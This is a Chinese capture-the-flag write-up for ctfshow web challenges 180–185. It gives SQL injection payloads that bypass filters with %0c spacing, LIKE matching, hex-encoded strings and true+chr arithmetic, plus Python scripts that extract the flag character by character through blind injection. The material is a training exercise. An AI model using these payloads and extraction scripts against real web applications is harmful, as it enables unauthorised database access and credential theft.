ctfshow web入门 web180--web185

web180

import requests
import re
 
com = re.compile("admin")
def repisTrue(char):
    url = f"http://自己环境的网址/api/?id=1%27and%27{char}%27=%27{char}&page=1&limit=10"
    res = requests.get(url)
    w = com.search(res.text)
    if w is not None:
        return True
    return False
 
if __name__ == '__main__':
    all = []
    no = []
    for i in range(1,128):
        if repisTrue(chr(i)):
            all.append((i,chr(i)))
        else:
            no.append((i,chr(i)))
    print("all:",all)
    print("no:",no)

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法一

'or'1'='1'--%0c

法二

-1'%0cuniOn%0cselEct%0c'1','2','3

-1'%0cuniOn%0cselEct%0c'1',database(),'3


-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()),'3

-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema=database()%0cand%0ctable_name='ctfshow_user'),'3

-1'%0cuniOn%0cselEct%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

web181

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mysql操作符优先级：（数字越大，优先级越高）

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借用大佬的图，这里使用运算符等级绕过

-1'||username='flag

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web182

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过滤了flag我们就用like来匹配flag

-1'||(username)like'%fla%

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web183

在这里插入图片描述 $_POST['tableName']来动态地获取表名

tableName=`ctfshow_user`where`pass`like'ctfshow{%'

**加粗样式**![
查询结果就变成了1
脚本

import requests
import string

url = "http://9ac44fb1-1cbf-4fdd-a7a0-dcdce0b24be4.challenge.ctf.show/select-waf.php"
payload = "(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag = ''

for i in range(1, 50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1 = payload.format(flag + j)
        data = {'tableName': payload1}
        r = requests.post(url=url, data=data)
        if "$user_count = 1;" in r.text:
            flag += j
            print(flag)

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这个脚本很快很好用

web184

在这里插入图片描述过滤了单双引号，那么我们就用like脚本或者INNER join on脚本

import requests
import string

url = "http://0d6e63ff-0213-4d40-a465-fcbf6778ccd2.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag = ''


def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x', '') for c in str])


for i in range(1, 50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1 = payload.format(str_to_hex(flag + j + '%'))
        # print(payload1)
        data = {'tableName': payload1}
        r = requests.post(url=url, data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            flag += j
            print(flag)

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import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''
 
def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j+'%'))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 22;"  in r.text:
            flag+=j
            print(flag)

在这里插入图片描述学一下这个INNER join on
INNER join in

web185

true代替数字,concat+chr代替引号

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我发现脚本越来越复杂了
先放个脚本我去学一下

import string

import requests

url = 'http://de655322-190c-4e8f-b65d-c2f663245ee1.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num


def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
    for j in uuid:
        payload1 = payload.format(createStrNum(flag + j + "%"))
        # print(payload1)
        data = {
            'tableName': payload1
        }
        re = requests.post(url=url, data=data)
        if "$user_count = 0;" not in re.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break